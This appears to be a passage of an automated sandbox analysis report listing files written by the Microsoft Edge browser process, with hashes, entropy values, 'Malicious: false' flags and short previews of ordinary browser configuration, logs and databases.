Size (bytes):	40504
Entropy (8bit):	5.561633656801587
Encrypted:	false
SSDEEP:	768:g6a0hR7pLGLPGwWPx5fr58F1+UoAYDCx9Tuqh0VfUC9xbog/OVOOedj1Grwn25Mt:g6a0hHcPGwWPx5fr5u1ja/Oe51DnIMMM
MD5:	B6E1B3C0242EAAD75600329337A756B7
SHA1:	AEE152D28631D019D873425EA4E42D1893CFFC44
SHA-256:	1B9FA342D22ACE0766E64527987B196A7E1DA3B7F49B9E38A997EDA06D04EE39
SHA-512:	CA64FB6C0724F0259CA9DAB46064E525E8893983F0F466C43D90DFEC6694ADA56D9E625E87D6DF95090FC13D86DC1AD241A836CDA687816217751A56233BCF54
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376945498001670","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376945498001670","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.231697897491911
Encrypted:	false
SSDEEP:	6:H3q1CHhJ23oH+Tcwtp3hBtB2KLlVql34q2PCHhJ23oH+Tcwtp3hBWsIFUv:XGYebp3dFLo34vBYebp3eFUv
MD5:	4A2D3CC770048427FB64F06DB20C0D64
SHA1:	085FCE2F8D02AD3290A9AC545F7F8F283D2BE4A0
SHA-256:	0C1280EEE612A11C16E8C8E5E77B4F85F87511A9C7950EC66C5AB97F5D444DB6
SHA-512:	296F2B7506DD1A4698A58C46D66BBF1F8C562B6961708DB6FF1A42D7B37BD7FE515563D892FEFC55DC7C29E7C348B2AEBF4985078C426D913015DA01807832F3
Malicious:	false
Preview:	2024/11/24-13:11:43.355 1cf0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/24-13:11:43.418 1cf0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138105232679842
Encrypted:	false
SSDEEP:	24576:hKPTfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hK7fqJmcx
MD5:	139DE02B661BE177E6B482FAE7829EDC
SHA1:	67B9DC371A383C45B81954D541A3C00208B2EE90
SHA-256:	191F2C0E8CBE232AD2701C6E6B1172695EEB7A0C1AEABCBFE494D169EF0A4111
SHA-512:	E59EB9F8C17853B874D4F35434D5543A58FE67FC057E38A3CDF95F7B7D750372FEE32774740FB9FD625A28FE0BEBA6F9AEDCF7535F9CF4EF874486E4A3AC97CB
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.081215128902496
Encrypted:	false
SSDEEP:	6:HDiROq2PCHhJ23oH+Tcwt9Eh1tIFUt8Y7XZmw+YFUFkwOCHhJ23oH+Tcwt9Eh15d:jiMvBYeb9Eh16FUt8MX/+5F56Yeb9Ehx
MD5:	41D4C6B5FFA1B4DC5CC2F41CB83DD15C
SHA1:	2C12B48565FCD148EB935147B65D03BB757F031E
SHA-256:	6DDA4B947CD3B4DD4248450B78E1EC032200E346A94879B0B4A5AA6A7A58DC6D
SHA-512:	713F4EEC100CC859C60087832BFB7FA28A5F27D942DE055423F4C6D1AC988751AC56BB5B7657B1D1BFC17432730869D29F3E7D08A55785E547AA4ACC776C7FE6
Malicious:	false
Preview:	2024/11/24-13:11:43.220 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-13:11:43.234 2054 Recovering log #3.2024/11/24-13:11:43.242 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.081215128902496
Encrypted:	false
SSDEEP:	6:HDiROq2PCHhJ23oH+Tcwt9Eh1tIFUt8Y7XZmw+YFUFkwOCHhJ23oH+Tcwt9Eh15d:jiMvBYeb9Eh16FUt8MX/+5F56Yeb9Ehx
MD5:	41D4C6B5FFA1B4DC5CC2F41CB83DD15C
SHA1:	2C12B48565FCD148EB935147B65D03BB757F031E
SHA-256:	6DDA4B947CD3B4DD4248450B78E1EC032200E346A94879B0B4A5AA6A7A58DC6D
SHA-512:	713F4EEC100CC859C60087832BFB7FA28A5F27D942DE055423F4C6D1AC988751AC56BB5B7657B1D1BFC17432730869D29F3E7D08A55785E547AA4ACC776C7FE6
Malicious:	false
Preview:	2024/11/24-13:11:43.220 2054 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-13:11:43.234 2054 Recovering log #3.2024/11/24-13:11:43.242 2054 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46234098386440875
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuBg:TouQq3qh7z3bY2LNW9WMcUvBu6
MD5:	B3A2191AFDEC165C2FF746A0852657B5
SHA1:	5C4E351F9817981244BBFE2C87026D51F105B870
SHA-256:	51E33DD85F13C313567A51507EB48F448F32879AF26D2E9856A5794724C2504C
SHA-512:	FFD053E436EB520C33B15AD289BE2AF0E231F4C40F40A3BE46EF2BA4747759ABF937E07E3BF1AB794BB005121D3C5F0AA50776E4120C6D2850AC3AB434870A60
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.194404874971815
Encrypted:	false
SSDEEP:	6:HBSQL+q2PCHhJ23oH+TcwtnG2tMsIFUt8YzG1Zmw+YzQLVkwOCHhJ23oH+TcwtnB:5yvBYebn9GFUt8T/+PR56Yebn95J
MD5:	481515552C9F56542D942CCB6C0693D1
SHA1:	10467414DD8D45D04E89C943AB48A02DAA6A6EF0
SHA-256:	B0574BF610A1005633A148E8D8EE76906400AAD24DCC1EC426A76498AEFAE9D9
SHA-512:	BA3BF770FA33BB478ED041920B753A3425F87C64F7015A2965BE0DACE0D300EC9ED60CF77F1E396F7BC3561000E327E87DDD0B42AA21FBFCBD0B8156CBA6C96D
Malicious:	false
Preview:	2024/11/24-13:11:38.215 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-13:11:38.216 1d18 Recovering log #3.2024/11/24-13:11:38.216 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.194404874971815
Encrypted:	false
SSDEEP:	6:HBSQL+q2PCHhJ23oH+TcwtnG2tMsIFUt8YzG1Zmw+YzQLVkwOCHhJ23oH+TcwtnB:5yvBYebn9GFUt8T/+PR56Yebn95J
MD5:	481515552C9F56542D942CCB6C0693D1
SHA1:	10467414DD8D45D04E89C943AB48A02DAA6A6EF0
SHA-256:	B0574BF610A1005633A148E8D8EE76906400AAD24DCC1EC426A76498AEFAE9D9
SHA-512:	BA3BF770FA33BB478ED041920B753A3425F87C64F7015A2965BE0DACE0D300EC9ED60CF77F1E396F7BC3561000E327E87DDD0B42AA21FBFCBD0B8156CBA6C96D
Malicious:	false
Preview:	2024/11/24-13:11:38.215 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-13:11:38.216 1d18 Recovering log #3.2024/11/24-13:11:38.216 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130788882913879
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j9j2pzTmL:TO8D4jJ/6Up+Z
MD5:	38FDFF5932D2B3B9E9947ADCF4603A1C
SHA1:	1F52E082CC30B11EB7BC65DDA69900F89699C46D
SHA-256:	7CA71997026558FEFBDCA10A953D31F1BE19630BB8B6BD76159CB86CBD286D0F
SHA-512:	887C4921276D46797DF6176262749B210B409EACCE2E7667A604CFE7E132B7DADA972573795EBB09FEF4FE4C1AD6642125C1A8FD0213DA4441905FAEC7CA2020
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354158749391459
Encrypted:	false
SSDEEP:	6144:CA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:CFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	229F38E0CBEADAD7866CC9711C6DE03D
SHA1:	1BAA721D9165FC5909CA058AEB4CD0CE92D0FDB1
SHA-256:	815F6C4E8D40892BD72DC38A101F98FC696424B06C1C830FFBE250BAC6EEC262
SHA-512:	F5800DAEB445E68FAB18FCE5FEB565F707A217A5F01BC26D860690D69569535BE329FCB984DC207505CAD03380B0F580DA1F3C8A07F5D09F165A35FFEB505473
Malicious:	false
Preview:	...m.................DB_VERSION.1..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376945506274614..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.166233362228164
Encrypted:	false
SSDEEP:	6:HFM1CHhJ23oH+Tcwtk2WwnvB2KLlVlZq2PCHhJ23oH+Tcwtk2WwnvIFUv:lAYebkxwnvFLzvBYebkxwnQFUv
MD5:	269BEBC090159BADD2849208193D34AD
SHA1:	F56BCD91192E3901C30DD783BF0C85AE95DF0B4D
SHA-256:	D702BB6480AC5557C4CD15D4750472D25C5196F0F6F5B598481F89A1D79EB351
SHA-512:	923D4C75B65A52293AB137BAB0FEE1827A6F8E3C97BF390F2DA44B42C8CF379DE21281F3316C017B56CCDD200C5A6F231E5FE7FDCEF58F90AF751E5A9C43C543
Malicious:	false
Preview:	2024/11/24-13:11:43.340 2064 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/24-13:11:43.425 2064 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324614678379577
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RX:C1gAg1zfvv
MD5:	54D73BFF234F1C0927ADB08BEFF85D6A
SHA1:	333DA3F211724FE3A9137A6A13A2578C048BFAC0
SHA-256:	620D3E8226D175DABEB3986894C7D6D79C2ABBE9962B1AA8BCD38107E1C98971
SHA-512:	BD894ADF9362D6B260453EE9287E12B516D324ABD278BA2530318FE5F0B4EF1CE7AAC3CB6E122FB2D7885513098F283DF50D47012E92255CDE8473C0D36652B3
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165221846629722
Encrypted:	false
SSDEEP:	6:HCyq2PCHhJ23oH+Tcwt8aPrqIFUt8YD1Zmw+YVRkwOCHhJ23oH+Tcwt8amLJ:iyvBYebL3FUt8q/+iR56YebQJ
MD5:	7F93EE1067E87249379D6331A3320672
SHA1:	F3232EF7FE3F9F805ECFBFF17873E6F9B0CB79EB
SHA-256:	E89CBB954B43C8422AF9516F32260C4F128094228B0747736F46824F7BCD9199
SHA-512:	5A6A138FDEE4009037CACF3B4CD9179162192645F6E5397DB8DF29A040FC0C9A684D21080CF3CF2E5BF02504D22F4BAED43C9C678B118C46DC93C6BF4F52BDBF
Malicious:	false
Preview:	2024/11/24-13:11:38.210 1d54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-13:11:38.211 1d54 Recovering log #3.2024/11/24-13:11:38.211 1d54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165221846629722
Encrypted:	false
SSDEEP:	6:HCyq2PCHhJ23oH+Tcwt8aPrqIFUt8YD1Zmw+YVRkwOCHhJ23oH+Tcwt8amLJ:iyvBYebL3FUt8q/+iR56YebQJ
MD5:	7F93EE1067E87249379D6331A3320672
